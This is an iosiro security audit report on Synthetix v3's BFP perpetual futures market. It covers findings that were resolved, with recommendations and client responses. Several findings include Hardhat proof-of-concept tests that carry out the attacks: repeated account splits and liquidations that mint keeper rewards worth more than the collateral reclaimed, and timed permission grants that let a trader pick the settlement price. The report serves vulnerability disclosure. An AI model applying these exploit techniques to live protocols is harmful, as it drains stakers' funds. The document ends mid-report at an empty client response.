Synthetix BFP Market Carina Smart Contract Audit

</nav>
<article class="report">
<h1 id="introduction">Introduction</h1>
iosiro was commissioned by <a href="https://www.synthetix.io/">Synthetix</a> to perform a smart contract audit of the Carina release of the Synthetix v3 system, which introduces BFP (Big Freaking Perps) markets. The audit was performed by 4 auditors between 20 February 2024 and 11 April 2024, using a total of 66 resource days.
<h4 id="overview">Overview</h4>
This report presents the findings of an audit performed by iosiro of Synthetix’s BFP Market Carina release, an implementation of their Perpetual Futures market built for the Ethereum mainnet. The audit consisted of an initial review of the Carina release, followed by multiple additional reviews of changes that either addressed findings or adapted functionality.
The audit uncovered three critical risk, one high risk, two low risk, and several informational issues, summarized below:
<table class="findings-count">
<thead>
<tr>
<th></th>
<th>Critical</th>
<th>High</th>
<th>Medium</th>
<th>Low</th>
<th>Informational</th>
</tr>
</thead>
<tbody>
<tr>
<th>Open</th>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
</tr>
<tr>
<th>Resolved</th>
<td>3</td>
<td>1</td>
<td>0</td>
<td>2</td>
<td>7</td>
</tr>
<tr>
<th>Closed</th>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
</tr>
</tbody>
</table>
The critical and high risk issues primarily impacted stakers, as an attacker could cause the keeper rewards to exceed the value of the reclaimable collateral. All critical and high risk issues were remediated shortly after being reported, and are summarized below:
<ul>
<li>Accounts without any collateral or positions would satisfy the conditions for liquidating margin only, resulting in fees being minted to the caller without any collateral being reclaimed.</li>
<li>Accounts could be split into sufficiently small sizes that were eligible for liquidation, resulting in liquidation fees being minted that were of higher value than the collateral that was reclaimed.</li>
<li>Accounts could be split into fractions that would satisfy the condition for liquidating margin only, resulting in fees being minted to the caller without any collateral being reclaimed.</li>
<li>Traders could control when their orders could be settled using the modify collateral permissions and the merge account settlement hook.</li>
</ul>
The low risk and informational findings are mainly related to improving code quality and optimizing gas consumption. All of these issues were addressed.
<hr />
<h4 id="scope">Scope</h4>
The assessment focused on source files listed below, with all other files considered out of scope. Any out-of-scope code interacting with the assessed code was presumed to operate correctly without introducing functional or security vulnerabilities.
<ul>
<li>Initial project name: bfp-market</li>
<li>Commits: <a href="https://github.com/Synthetixio/bfp-market/commit/e2c71290e4f72ff243558135972d6c0f8aa1f42b">e2c7129</a></li>
<li>Files: <code>contracts/*</code></li>
</ul>
Note: during the project, this repository was deprecated in favor of merging the BFP market code into the main Synthetix V3 repository.
<ul>
<li>Final project name: synthetix-v3</li>
<li>Commits: <a href="https://github.com/Synthetixio/synthetix-v3/commit/9727d1d2fc43eafac93d2fe02a2e7e9eafa0243e">9727d1d</a>, <a href="https://github.com/Synthetixio/synthetix-v3/commit/5d7171778a3250cd97c439f8d8bf7dcce3444414">5d71717</a></li>
<li>Final commit: <a href="https://github.com/Synthetixio/synthetix-v3/commit/2705b285f92a12c2b84cb2dba5b73f335b80b819">2705b28</a></li>
<li>Files: <code>markets/bfp-market/contracts/*</code></li>
</ul>
A specification is available in the <a href="#specification">Specification section</a> of this report.
<h1 id="disclaimer">Disclaimer</h1>
This report aims to provide an overview of the assessed smart contracts' risk exposure and a guide to improving their security posture by addressing identified issues. The audit, limited to specific source code at the time of review, sought to:
<ul>
<li>Identify potential security flaws.</li>
<li>Verify that the smart contracts' functionality aligns with their documentation.</li>
</ul>
Off-chain components, such as backend web application code, keeper functionality, and deployment scripts were explicitly not in-scope of this audit.
Given the unregulated nature and ease of cryptocurrency transfers, operations involving these assets face a high risk from cyber attacks. Maintaining the highest security level is crucial, necessitating a proactive and adaptive approach which takes into account the experimental and rapidly evolving nature of blockchain technology. To encourage secure code development, developers should:
<ul>
<li>Integrate security throughout the development lifecycle.</li>
<li>Employ defensive programming to mitigate the risks posed by unexpected events.</li>
<li>Adhere to current best practices wherever possible.</li>
</ul>
<h1 id="methodology">Methodology</h1>
The audit was conducted using the techniques described below.
<dl>
<dt>Code review</dt>
<dd>The source code was manually inspected to identify potential security flaws. Code review is a useful approach for detecting security flaws, discrepancies between the specification and implementation, design improvements, and high-risk areas of the system.</dd>
<dt>Dynamic analysis</dt>
<dd>The contracts were compiled, deployed, and tested in a test environment, both manually and through the test suite provided. Dynamic analysis was used to identify additional edge-cases, confirm that the code was functional, and to validate the reported issues.</dd>
<dt>Automated analysis</dt>
<dd>Automated tooling was used to detect the presence of various types of security vulnerabilities. Static analysis results were reviewed manually and any false positives were removed. Any true positive results are included in this report.</dd>
</dl>
<h1 id="audit-findings">Audit findings</h1>
The table below provides an overview of the audit's findings. Detailed write-ups are provided below.
<table class="findings">
<thead>
<tr>
<th>ID</th>
<th>Issue</th>
<th>Risk</th>
<th>Status</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<a href="#IO-SNX-BFP-001">IO-SNX-BFP-001</a>
</td>
<td>Accounts without a position could be split</td>
<td class="rating-critical">Critical</td>
<td class="status-resolved">Resolved</td>
</tr>
<tr>
<td>
<a href="#IO-SNX-BFP-002">IO-SNX-BFP-002</a>
</td>
<td>
<code>splitAccount()</code> could leave the account in a liquidatable state
</td>
<td class="rating-critical">Critical</td>
<td class="status-resolved">Resolved</td>
</tr>
<tr>
<td>
<a href="#IO-SNX-BFP-003">IO-SNX-BFP-003</a>
</td>
<td>
<code>liquidateMarginOnly()</code> paid reward when liquidating empty accounts
</td>
<td class="rating-critical">Critical</td>
<td class="status-resolved">Resolved</td>
</tr>
<tr>
<td>
<a href="#IO-SNX-BFP-004">IO-SNX-BFP-004</a>
</td>
<td>Traders could control order settlement</td>
<td class="rating-high">High</td>
<td class="status-resolved">Resolved</td>
</tr>
<tr>
<td>
<a href="#IO-SNX-BFP-005">IO-SNX-BFP-005</a>
</td>
<td>Reward Distributor does not use the most recent version</td>
<td class="rating-low">Low</td>
<td class="status-resolved">Resolved</td>
</tr>
<tr>
<td>
<a href="#IO-SNX-BFP-006">IO-SNX-BFP-006</a>
</td>
<td>Merged accounts can atomically merge again</td>
<td class="rating-low">Low</td>
<td class="status-resolved">Resolved</td>
</tr>
<tr>
<td>
<a href="#IO-SNX-BFP-007">IO-SNX-BFP-007</a>
</td>
<td>Reentrancy originating from settlement hooks</td>
<td class="rating-informational">Informational</td>
<td class="status-resolved">Resolved</td>
</tr>
</tbody>
</table>
Each issue identified during the audit has been assigned a risk rating. The rating is determined based on the criteria outlined below.
<dl>
<dt>Critical risk</dt>
<dd>The issue could result in the theft of funds from the contract or its users.</dd>
<dt>High risk</dt>
<dd>The issue could result in the loss of funds for the contract owner or its users.</dd>
<dt>Medium risk</dt>
<dd>The issue resulted in the code being dysfunctional or the specification being implemented incorrectly.</dd>
<dt>Low risk</dt>
<dd>A design or best practice issue that could affect the ordinary functioning of the contract.</dd>
<dt>Informational</dt>
<dd>An improvement related to best practice or a suboptimal design pattern.</dd>
</dl>
In addition to a risk rating, each issue is assigned a status:
<dl>
<dt>Open</dt>
<dd>The issue remained present in the code as of the final commit reviewed and may still pose a risk.</dd>
<dt>Resolved</dt>
<dd>The issue was identified during the audit and has since been satisfactorily addressed, removing the risk it posed.</dd>
<dt>Closed</dt>
<dd>The issue was identified during the audit and acknowledged by the developers as an acceptable risk without actioning any change.</dd>
</dl>
<a name="IO-SNX-BFP-001"></a>
<h2 class="break-before" id="io-snx-bfp-001-accounts-without-a-position-could-be-split">IO-SNX-BFP-001 Accounts without a position could be split</h2>
<table class="metadata">
<tbody>
<tr>
<td class="rating-critical">Critical</td>
<td class="status-resolved">Resolved</td>
<td>

<a href="https://github.com/Synthetixio/synthetix-v3/blob/8670f238038aa49207781fd8f46faf6568a28386/markets/bfp-market/contracts/modules/PerpAccountModule.sol#L149">PerpAccountModule.sol#L149</a>

</td>
</tr>
</tbody>
</table>
An account with non-USD margin and debt could be split without requiring an open position. The caller could use <code>proportion = 1 wei</code> to split a dust amount of margin and debt into a new account, this account would pass the liquidation checks since it does not have an open position. By withdrawing the available margin of the small account using <code>MarginModule.modifyCollateral()</code> the tiny account could be left in a state where its margin could be liquidated. The account could then be liquidated using <code>LiquidationModule.liquidateMarginOnly()</code> which pays a liquidation reward greater than the margin reclaimed. This could be exploited by repeating the operation atomically, ultimately reducing the market’s credit capacity and burdening stakers with the debt of the keeper rewards.
The proof of concept below was developed to demonstrate the steps of the attack. To run the test case, add the code below to <code>bfp-market/test/integration/modules/LiquidationModule.test.ts</code> in the <code>liquidatePosition</code> suite of test cases.
<pre tabindex="0" class="chroma"><code>it.only('margin liquidation after split account with no position -- fee printer PoC', async () => {
 const { BfpMarketProxy } = systems();

 // Commit, settle, place position into liquidation, flag for liquidation, liquidate.
 const orderSide = 1;
 const trader = traders()[0];
 const market = markets()[0];
 const marketId = market.marketId();
 const collateral = collaterals()[2];

 // Set a large enough liqCap to ensure a full liquidation.
 await setMarketConfigurationById(bs, marketId, { liquidationLimitScalar: bn(100) });

 const gTrader1 = await depositMargin(
 bs,
 genTrader(bs, {
 desiredTrader: trader,
 desiredMarket: market,
 desiredCollateral: collateral,
 })
 );
 let order1 = await genOrder(bs, market, collateral, gTrader1.collateralDepositAmount, {
 desiredLeverage: 10,
 desiredSide: orderSide,
 });

 // open position
 await commitAndSettle(bs, marketId, trader, order1);

 // make price loss
 const { answer: marketOraclePrice1 } = await market.aggregator().latestRoundData();
 await market.aggregator().mockSetCurrentPrice(
 wei(marketOraclePrice1)
 .mul(orderSide === 1 ? 0.913 : 1.087)
 .toBN()
 );

 // close position to realize loss
 const closeOrder = await genOrder(bs, market, collateral, gTrader1.collateralDepositAmount, {
 desiredSize: order1.sizeDelta.mul(-1),
 });
 await commitAndSettle(bs, marketId, trader, closeOrder);

 // create to account
 const toTraderAccountId = 1337;
 await BfpMarketProxy.connect(trader.signer)['createAccount(uint128)'](toTraderAccountId);

 //let accountMarginDigest = await BfpMarketProxy.getMarginDigest(trader.accountId, marketId);
 let toAccountMarginDigest = await BfpMarketProxy.getMarginDigest(toTraderAccountId, marketId);
 let toAccountMarginLiquidated = toAccountMarginDigest.collateralUsd;
 let accountsUSDBefore = await collaterals()[0].contract.balanceOf(await trader.signer.getAddress());
 let accountsETHBefore = await collateral.contract.balanceOf(await trader.signer.getAddress());
 let counter = 1;

 while(counter > 0){
 // split account and make from pos margin liquidatable
 const proportion = 100; // to leave dust amount of margin and debt in to account ie > 0
 await BfpMarketProxy.connect(trader.signer).splitAccount(trader.accountId, toTraderAccountId, marketId, proportion);

 // calc margin lost to liquidation
 toAccountMarginDigest = await BfpMarketProxy.getMarginDigest(toTraderAccountId, marketId);
 toAccountMarginLiquidated = toAccountMarginLiquidated.add(toAccountMarginDigest.collateralUsd);

 // drop collateral value to make margin liquidatable on to account
 const withdrawAmountUsd = await BfpMarketProxy.getWithdrawableMargin(toTraderAccountId, marketId);
 const withdrawAmount = withdrawAmountUsd.mul(-1).mul(bn(1)).div(await collateral.getPrice());
 await BfpMarketProxy.connect(trader.signer).modifyCollateral(toTraderAccountId, marketId, collateral.synthMarketId(), withdrawAmount);

 // liquidate to account margin
 await BfpMarketProxy.connect(trader.signer).liquidateMarginOnly(toTraderAccountId, marketId);
 counter--;
 }
 let collateralValueLost = toAccountMarginLiquidated.mul(bn(1)).div(await collateral.getPrice());
 let accountsUSDAfter = await collaterals()[0].contract.balanceOf(await trader.signer.getAddress());
 let accountsETHAfter = await collateral.contract.balanceOf(await trader.signer.getAddress());

 let sUSDValueGained = accountsUSDAfter.sub(accountsUSDBefore);
 let sETHGained = accountsETHAfter.sub(accountsETHBefore);
 let sETHValueGained = sETHGained.mul(bn(1)).div(await collateral.getPrice());
 let collateralValueGained = sUSDValueGained.add(sETHValueGained).sub(collateralValueLost);

 assertBn.gt(collateralValueGained, 0);
});
</code></pre>Note: since the configuration of the market is dynamic the test case may fail in some configurations, pinning the configuration to specific values or re-running the test several times would resolve this issue.
<h3 id="recommendation">Recommendation</h3>
This issue could be resolved by requiring accounts to have an open position when splitting.
<h3 id="client-response">Client response</h3>
The issue was resolved according to the recommendation in <a href="https://github.com/Synthetixio/synthetix-v3/pull/2115/commits/a8024534e654f838ad124693865c29f4183bef89">a802453</a>.
<a name="IO-SNX-BFP-002"></a>
<h2 class="break-before" id="io-snx-bfp-002-splitaccount-could-leave-the-account-in-a-liquidatable-state">IO-SNX-BFP-002 <code>splitAccount()</code> could leave the account in a liquidatable state</h2>
<table class="metadata">
<tbody>
<tr>
<td class="rating-critical">Critical</td>
<td class="status-resolved">Resolved</td>
<td>

<a href="https://github.com/Synthetixio/synthetix-v3/blob/8670f238038aa49207781fd8f46faf6568a28386/markets/bfp-market/contracts/modules/PerpAccountModule.sol#L264">PerpAccountModule.sol#L264</a>

</td>
</tr>
</tbody>
</table>
The <code>PerpAccountModule.splitAccount()</code> function did not validate that the account being split from was not liquidatable at the end of the operation. This enabled the caller to use <code>proportion = UNIT - 1</code> so that the <code>from</code> account was left with a dust amount of margin and position size. The dust amount of margin would be less than the liquidation margin because of the minimum margin and liquidation rewards making the <code>from</code> account immediately liquidatable.
Since the liquidation rewards are capped by a minimum amount which is larger than the dust amount of margin in the account the perps market would pay the reward without reclaiming sufficient collateral. This exploit could be atomic and repeated to drain the market’s credit capacity.
The below test case was developed to demonstrate the attack. To run the test case, add the code below to <code>bfp-market/test/integration/modules/LiquidationModule.test.ts</code> in the <code>liquidatePosition</code> suite of test cases.
<pre tabindex="0" class="chroma"><code>it.only('liquidatable after split account -- fee printer PoC', async () => {
 const { BfpMarketProxy } = systems();

 // Commit, settle, place position into liquidation, flag for liquidation, liquidate.
 const orderSide = 1;
 const trader = traders()[0];
 const market = markets()[0];
 const marketId = market.marketId();
 const collateral = collaterals()[2];

 // Set a large enough liqCap to ensure a full liquidation.
 await setMarketConfigurationById(bs, marketId, { liquidationLimitScalar: bn(100) });

 const gTrader1 = await depositMargin(
 bs,
 genTrader(bs, {
 desiredTrader: trader,
 desiredMarket: market,
 desiredCollateral: collateral,
 })
 );

 // create position
 let order1 = await genOrder(bs, market, collateral, gTrader1.collateralDepositAmount, {
 desiredLeverage: 10,
 desiredSide: orderSide,
 });

 await commitAndSettle(bs, marketId, trader, order1);

 // create to account
 const toTraderAccountId = 1337;
 await BfpMarketProxy.connect(trader.signer)['createAccount(uint128)'](toTraderAccountId);

 // split account moving most to new account and leave from account with dust
 const proportion = bn(1).sub(1);
 await BfpMarketProxy.connect(trader.signer).splitAccount(trader.accountId, toTraderAccountId, marketId, proportion);

 let fromMarginDigest = await BfpMarketProxy.getMarginDigest(trader.accountId, marketId);
 let marginLiquidatedValue = fromMarginDigest.collateralUsd;
 //console.log(marginLiquidatedValue)
 let keepersUSDBefore = await collaterals()[0].contract.balanceOf(await keeper().getAddress());

 // flag and liquidate from account
 await BfpMarketProxy.connect(keeper()).flagPosition(trader.accountId, marketId);
 await BfpMarketProxy.connect(keeper()).liquidatePosition(trader.accountId, marketId);

 let keepersUSDAfter = await collaterals()[0].contract.balanceOf(await keeper().getAddress());
 let profit = keepersUSDAfter.sub(keepersUSDBefore).sub(marginLiquidatedValue)
 //console.log(`profit sUSD: ${profit}`);
 assertBn.gt(profit, 0);
});
</code></pre>Note: since the configuration of the market is dynamic the test case may fail in some configurations, pinning the configuration to specific values or re-running the test several times would resolve this issue.
<h3 id="recommendation-1">Recommendation</h3>
The issue could be resolved by validating that both the from and to accounts are not liquidatable at the end of the <code>PerpAccountModule.splitAccount()</code> function.
<h3 id="client-response-1">Client response</h3>
The issue was resolved according to the recommendation in <a href="https://github.com/Synthetixio/synthetix-v3/commit/f9d98932014edca477ee4f1fa2d36e11e79109ac">f9d9893</a>.
<a name="IO-SNX-BFP-003"></a>
<h2 class="break-before" id="io-snx-bfp-003-liquidatemarginonly-paid-reward-when-liquidating-empty-accounts">IO-SNX-BFP-003 <code>liquidateMarginOnly()</code> paid reward when liquidating empty accounts</h2>
<table class="metadata">
<tbody>
<tr>
<td class="rating-critical">Critical</td>
<td class="status-resolved">Resolved</td>
<td>

<a href="https://github.com/Synthetixio/synthetix-v3/blob/9727d1d2fc43eafac93d2fe02a2e7e9eafa0243e/markets/bfp-market/contracts/modules/LiquidationModule.sol#L486">LiquidationModule.sol#L486</a>

</td>
</tr>
</tbody>
</table>
The <code>LiquidationModule.isMarginLiquidatable()</code> function incorrectly determines that an account with no position and no margin, for example, a newly created perps account, was liquidatable. This was because <code>isMarginLiquidatable()</code> only considers an account's <code>discountedMarginUsd</code>, which could be zero for an account with no deposited collateral.
As a result, such empty accounts could be specified during calls to <code>LiquidationModule.liquidateMarginOnly()</code>, paying the liquidator keeper rewards without the protocol claiming any collateral.
Even though the net gain would be minimal, it would be sufficient to cover the transaction costs of a malicious liquidator while draining the market of irrecoverable credit capacity.
The proof of concept below was provided during the assessment to demonstrate the issue, to run the proof of concept the test case should be added to the <code>bfp-market/test/integration/modules/MarginModule.debt.test.ts</code> file.
<pre tabindex="0" class="chroma"><code>it('should not pay keeper fees to an empty account', async () => {
 const { PerpMarketProxy, USD } = systems();

 // setup a market and stuff
 const { trader, market, marketId, collateral, collateralDepositAmount } = await depositMargin(bs, genTrader(bs));

 // create 0x1337 account
 await PerpMarketProxy['createAccount(uint128)'](0x1337);

 let balanceBefore = await USD.balanceOf(await trader.signer.getAddress());
 await PerpMarketProxy.connect(trader.signer).liquidateMarginOnly(0x1337, marketId);
 let balanceAfter = await USD.balanceOf(await trader.signer.getAddress());

 assert(balanceBefore.eq(balanceAfter), 'liquidator received rewards for liquidating an empty account');
});
</code></pre><h3 id="recommendation-2">Recommendation</h3>
To remedy the issue, <code>isMarginLiquidatable()</code> could also check if the account’s <code>collateralUsd</code> is greater than 0, implying that the account has margin available but is insolvent.
<h3 id="client-response-2">Client response</h3>
The issue was resolved according to the recommendation in <a href="https://github.com/Synthetixio/synthetix-v3/commit/12f192b3d87848c727a8e2989de6724098467aee">12f192b</a>.
<a name="IO-SNX-BFP-004"></a>
<h2 class="break-before" id="io-snx-bfp-004-traders-could-control-order-settlement">IO-SNX-BFP-004 Traders could control order settlement</h2>
<table class="metadata">
<tbody>
<tr>
<td class="rating-high">High</td>
<td class="status-resolved">Resolved</td>
<td>

<a href="https://github.com/Synthetixio/synthetix-v3/blob/2705b285f92a12c2b84cb2dba5b73f335b80b819/markets/bfp-market/contracts/modules/PerpAccountModule.sol#L314">PerpAccountModule.sol#L314</a>

</td>
</tr>
</tbody>
</table>
The <code>PerpAccountModule.mergeAccounts()</code> function requires the caller of the function to have permission to modify the collateral of both the <code>to</code> and <code>from</code> accounts. Since the function is only callable by whitelisted settlement hooks it will only execute if the account owner permitted the hook to modify the account's collateral. Using these permissions a trader could control the settlement of their order by choosing the merge account settlement hook when committing the order but not giving the hook contract the necessary permissions. During the settlement window if the price is favorable for the trader they could grant the hook contract the permissions to allow the hook to settle. When the price is not favorable the trader could wait for the order to go stale and cancel it for free, thus giving the trader the ability to choose their settlement price range.
The following proof of concept was provided to demonstrate the attack:
<pre tabindex="0" class="chroma"><code>import { BigNumber, Contract, ContractReceipt, ethers, utils, providers, Signer } from 'ethers';
import { shuffle } from 'lodash';
import assert from 'assert';
import assertRevert from '@synthetixio/core-utils/utils/assertions/assert-revert';
import assertBn from '@synthetixio/core-utils/utils/assertions/assert-bignumber';
import assertEvent from '@synthetixio/core-utils/utils/assertions/assert-event';
import { fastForwardTo } from '@synthetixio/core-utils/utils/hardhat/rpc';
import Wei, { wei } from '@synthetixio/wei';
import { bootstrap } from '../../bootstrap';
import {
 bn,
 genBootstrap,
 genOneOf,
 genOrder,
 genSide,
 genTrader,
 toRoundRobinGenerators,
} from '../../generators';
import {
 commitAndSettle,
 settleOrder,
 commitOrder,
 depositMargin,
 extendContractAbi,
 findEventSafe,
 getFastForwardTimestamp,
 getPythPriceDataByMarketId,
 setMarketConfigurationById,
 withExplicitEvmMine,
 withdrawAllCollateral,
} from '../../helpers';
import {
 address as trustedMulticallerAddress,
 abi as trustedMulticallerAbi,
 Multicall3 as TrustedMulticallForwarder,
} from '../../external/TrustedMulticallForwarder';

describe('PerpAccountModule mergeAccounts', () => {
 const bs = bootstrap(genBootstrap());
 const { markets, traders, systems, provider, restore, collateralsWithoutSusd, keeper } = bs;

 beforeEach(restore);

 const createAccountsToMerge = async () => {
 const { BfpMarketProxy, MergeAccountSettlementHookMock } = systems();

 const fromTrader = genOneOf(traders());
 const toTraderAccountId = 42069;
 const toTrader = {
 signer: fromTrader.signer,
 accountId: toTraderAccountId,
 };

 await withExplicitEvmMine(
 () => BfpMarketProxy.connect(fromTrader.signer)['createAccount(uint128)'](toTraderAccountId),
 provider()
 );

 // Set the fromAccount to be the "vaultAccountId" that will have the new account merged into it.
 await withExplicitEvmMine(
 () => MergeAccountSettlementHookMock.mockSetVaultAccountId(toTraderAccountId),
 provider()
 );

 return { fromTrader, toTrader };
 };

 it('accounts can control when order settles by granting permission poc', async () => {
 const { BfpMarketProxy, MergeAccountSettlementHookMock } = systems();
 const { fromTrader, toTrader } = await createAccountsToMerge();
 // Use nonUSD collateral to make sure we still have some debt. And use a generator to make sure we have two different collaterals for the fromAccount.
 const collateralGenerator = toRoundRobinGenerators(shuffle(collateralsWithoutSusd()));
 const market = genOneOf(markets());
 const side = genSide();

 // Withdraw any existing collateral.
 await withdrawAllCollateral(bs, fromTrader, market.marketId());


 // populate to account with margin
 const {
 collateral,
 collateralDepositAmount: collateralDepositAmountTo,
 marketId,
 } = await depositMargin(
 bs,
 genTrader(bs, {
 desiredTrader: toTrader,
 // Use any collateral except sUSD for toAccount.
 desiredCollateral: genOneOf(collateralsWithoutSusd()),
 desiredMarket: market,
 })
 );

 // generate to account position
 const order = await genOrder(bs, market, collateral, collateralDepositAmountTo, {
 desiredSide: side,
 });
 await commitAndSettle(bs, marketId, toTrader, order);

 // Create some debt for the toAccount, so we later can assert it's realized on account merge.
 await market.aggregator().mockSetCurrentPrice(
 wei(order.oraclePrice)
 .mul(order.sizeDelta.gt(0) ? 0.9 : 1.1)
 .toBN()
 );

 const toOrder = await genOrder(bs, market, collateral, collateralDepositAmountTo, {
 desiredSize: wei(order.sizeDelta).mul(0.9).toBN(), // decrease position slightly
 });
 await commitAndSettle(bs, marketId, toTrader, toOrder);

 // Reset the price causing the toAccount's position to have some pnl.
 await market.aggregator().mockSetCurrentPrice(order.oraclePrice);

 // Start populate from account with margin
 const { collateralDepositAmount: collateralDepositAmountFrom } = await depositMargin(
 bs,
 genTrader(bs, {
 desiredTrader: fromTrader,
 desiredMarket: market,
 desiredCollateral: collateralGenerator.next().value,
 })
 );

 // Make sure we have two different collaterals.
 await depositMargin(
 bs,
 genTrader(bs, {
 desiredTrader: fromTrader,
 desiredMarket: market,
 desiredCollateral: collateralGenerator.next().value,
 })
 );

 // Create an order with the MergeAccountSettlementHookMock as a hook.
 const fromOrder = await genOrder(bs, market, collateral, collateralDepositAmountFrom, {
 desiredLeverage: 1,
 desiredHooks: [MergeAccountSettlementHookMock.address],
 desiredSide: side,
 });

 // commit order to from account
 await commitOrder(bs, marketId, fromTrader, fromOrder);

 // try settle order without permission
 try {
 await settleOrder(bs, marketId, fromTrader);
 } catch (error) {
 console.log('order settle failed');
 }


 // account grants hook permission
 await withExplicitEvmMine(
 () =>
 BfpMarketProxy.connect(fromTrader.signer).grantPermission(
 toTrader.accountId,
 ethers.utils.formatBytes32String('PERPS_MODIFY_COLLATERAL'),
 MergeAccountSettlementHookMock.address
 ),
 provider()
 );

 await withExplicitEvmMine(
 () =>
 BfpMarketProxy.connect(fromTrader.signer).grantPermission(
 fromTrader.accountId,
 ethers.utils.formatBytes32String('PERPS_MODIFY_COLLATERAL'),
 MergeAccountSettlementHookMock.address
 ),
 provider()
 );

 // order still pending
 const orderDigest = await BfpMarketProxy.getOrderDigest(fromTrader.accountId, marketId);
 assertBn.notEqual(orderDigest.sizeDelta, 0);

 // to and from account details before settle
 const toAccountDigestBefore = await BfpMarketProxy.getAccountDigest(toTrader.accountId, marketId);
 const fromAccountDigestBefore = await BfpMarketProxy.getAccountDigest(fromTrader.accountId, marketId);

 // try settle order after approve
 try {
 await settleOrder(bs, marketId, fromTrader);
 //console.log(await BfpMarketProxy.getOrderDigest(fromTrader.accountId, marketId))
 } catch (error) {
 console.log('order settle failed')
 }

 // to and from account details after settle
 const toAccountDigestAfter = await BfpMarketProxy.getAccountDigest(toTrader.accountId, marketId);
 const fromAccountDigestAfter = await BfpMarketProxy.getAccountDigest(fromTrader.accountId, marketId);

 // confirm from account is empty after settle and merge
 assertBn.isZero(fromAccountDigestAfter.collateralUsd);
 assertBn.isZero(fromAccountDigestAfter.position.size);

 // confirm correct position size after merge
 assertBn.equal(toAccountDigestAfter.position.size, toAccountDigestBefore.position.size.add(orderDigest.sizeDelta));
 });
});

</code></pre>To run the proof of concept, the following changes need to be added to the <code>helpers.ts</code> file:
<pre tabindex="0" class="chroma"><code>diff --git a/markets/bfp-market/test/helpers.ts b/markets/bfp-market/test/helpers.ts
index be88da72..4cc9a045 100644
--- a/markets/bfp-market/test/helpers.ts
+++ b/markets/bfp-market/test/helpers.ts
@@ -263,6 +263,46 @@ export const commitOrder = async (
 );
 };

+/** Settles the pending order for`trader` on `marketId` successfully */
+export const settleOrder = async (
+ bs: Bs,
+ marketId: BigNumber,
+ trader: Trader,
+ options?: {
+ desiredKeeper?: ethers.Signer;
+ // Why a function and not another desiredXXX primitive?
+ //
+ // Pyth data blob generation requires a publishTime. If we generate and pass a primitive _before_ invoking
+ // this function then the price would be too old and settlement would fail.
+ getPythData?: (publishTime: number) => ReturnType<typeof getPythPriceData>;
+ }
+) => {
+ const { systems, provider, keeper } = bs;
+ const { BfpMarketProxy } = systems();
+
+ const { settlementTime, publishTime } = await getFastForwardTimestamp(bs, marketId, trader);
+ await fastForwardTo(settlementTime, provider());
+
+ const { updateData, updateFee } = options?.getPythData
+ ? await options.getPythData(publishTime)
+ : await getPythPriceDataByMarketId(bs, marketId, publishTime);
+
+ const settlementKeeper = options?.desiredKeeper ?? keeper();
+
+ const { tx, receipt } = await withExplicitEvmMine(
+ () =>
+ BfpMarketProxy.connect(settlementKeeper).settleOrder(trader.accountId, marketId, updateData, {
+ value: updateFee,
+ maxFeePerGas: BigNumber.from(500 * 1e9), // Specify a large maxFeePerGas so callers can set a high basefee without any problems.
+ gasLimit: BigNumber.from(10_000_000), // Sometimes gas estimation is not high enough.
+ }),
+ provider()
+ );
+ const lastBaseFeePerGas = (await provider().getFeeData()).lastBaseFeePerGas as BigNumber;
+
+ return { tx, receipt, settlementTime, publishTime, lastBaseFeePerGas };
+};
+
 /** Commits a generated `order` for `trader` on `marketId` and settles successfully. */
 export const commitAndSettle = async (
 bs: Bs,
</code></pre><h3 id="recommendation-3">Recommendation</h3>
To resolve this issue, the permissions to modify the collateral for the accounts should not be checked when merging. It is possible to omit these checks because only a whitelisted hook can call the <code>PerpAccountModule.mergeAccounts()</code> function and the hook is chosen by the account owner when committing the order. It also means accounts do not have to grant the settlement hook contract permission to modify their account's collateral.
<h3 id="client-response-3">Client response</h3>
The issue was resolved according to the recommendation in <a href="https://github.com/Synthetixio/synthetix-v3/commit/5d7171778a3250cd97c439f8d8bf7dcce3444414">5d71717</a>.
<a name="IO-SNX-BFP-005"></a>
<h2 class="break-before" id="io-snx-bfp-005-reward-distributor-does-not-use-the-most-recent-version">IO-SNX-BFP-005 Reward Distributor does not use the most recent version</h2>
<table class="metadata">
<tbody>
<tr>
<td class="rating-low">Low</td>
<td class="status-resolved">Resolved</td>
<td>

<a href="https://github.com/Synthetixio/synthetix-v3/blob/9727d1d2fc43eafac93d2fe02a2e7e9eafa0243e/markets/bfp-market/contracts/modules/PerpRewardDistributorModule/PerpRewardDistributor.sol#L17">PerpRewardDistributor.sol#L17</a>

</td>
</tr>
</tbody>
</table>
The BFP rewards distributor did not include the amount tracking and decimal scaling controls implemented in the Synthetix V3 implementation.
The amount tracking control was implemented to prevent the caller of <code>PerpRewardDistributor.distributeRewards()</code> from providing a disproportionate amount that could lead to the rewards in the contract being drained. However, since this function is only callable by the perp market the issue would only be exploitable in case of an arithmetic error from the market itself.
Synthetix V3 core contracts perform all calculations with D18 precision, if a BFP distributor were to distribute a token that uses a different amount of tokens there could be issues with precision loss.
<h3 id="recommendation-4">Recommendation</h3>
The implementation of the BFP rewards distributor should be updated to include the controls implemented in <a href="https://github.com/Synthetixio/rewards-distributors/blob/master/src/RewardsDistributor.sol">RewardsDistributor.sol</a>.
<h3 id="client-response-4">Client response</h3>
The rewards distributor implementation was updated to align with the most recent version in <a href="https://github.com/Synthetixio/synthetix-v3/commit/fda46ead9108d84b4b5e69de9aa5f6c7c7fea1f1">fda46ea</a>.
<a name="IO-SNX-BFP-006"></a>
<h2 class="break-before" id="io-snx-bfp-006-merged-accounts-can-atomically-merge-again">IO-SNX-BFP-006 Merged accounts can atomically merge again</h2>
<table class="metadata">
<tbody>
<tr>
<td class="rating-low">Low</td>
<td class="status-resolved">Resolved</td>
<td>

<a href="https://github.com/Synthetixio/synthetix-v3/blob/6bdf61f9dc9b98e08ef42894d10794f1bc1c9c33/markets/bfp-market/contracts/modules/PerpAccountModule.sol#L236">PerpAccountModule.sol#L236</a>

</td>
</tr>
</tbody>
</table>
The primary condition for merging an account is that the <code>from</code> account needs to have settled an order in the same block. This is done by checking that the <code>from</code> account’s <code>entryTime</code> is the same as <code>block.timestamp</code>. However, when the <code>to</code> account is created, its <code>entryTime</code> is set to <code>block.timestamp</code>, meaning that it might be possible to merge the resulting account with a different account.
<h3 id="recommendation-5">Recommendation</h3>
The <code>to</code> account could have its <code>entryTime</code> offset by one second from <code>block.timestamp</code>. Alternatively, a <code>lastMerged</code> timestamp could be introduced that gets set on the <code>to</code> account, which gets checked against <code>block.timestamp</code> to ensure it is not in the same block.
<h3 id="client-response-5">Client response</h3>
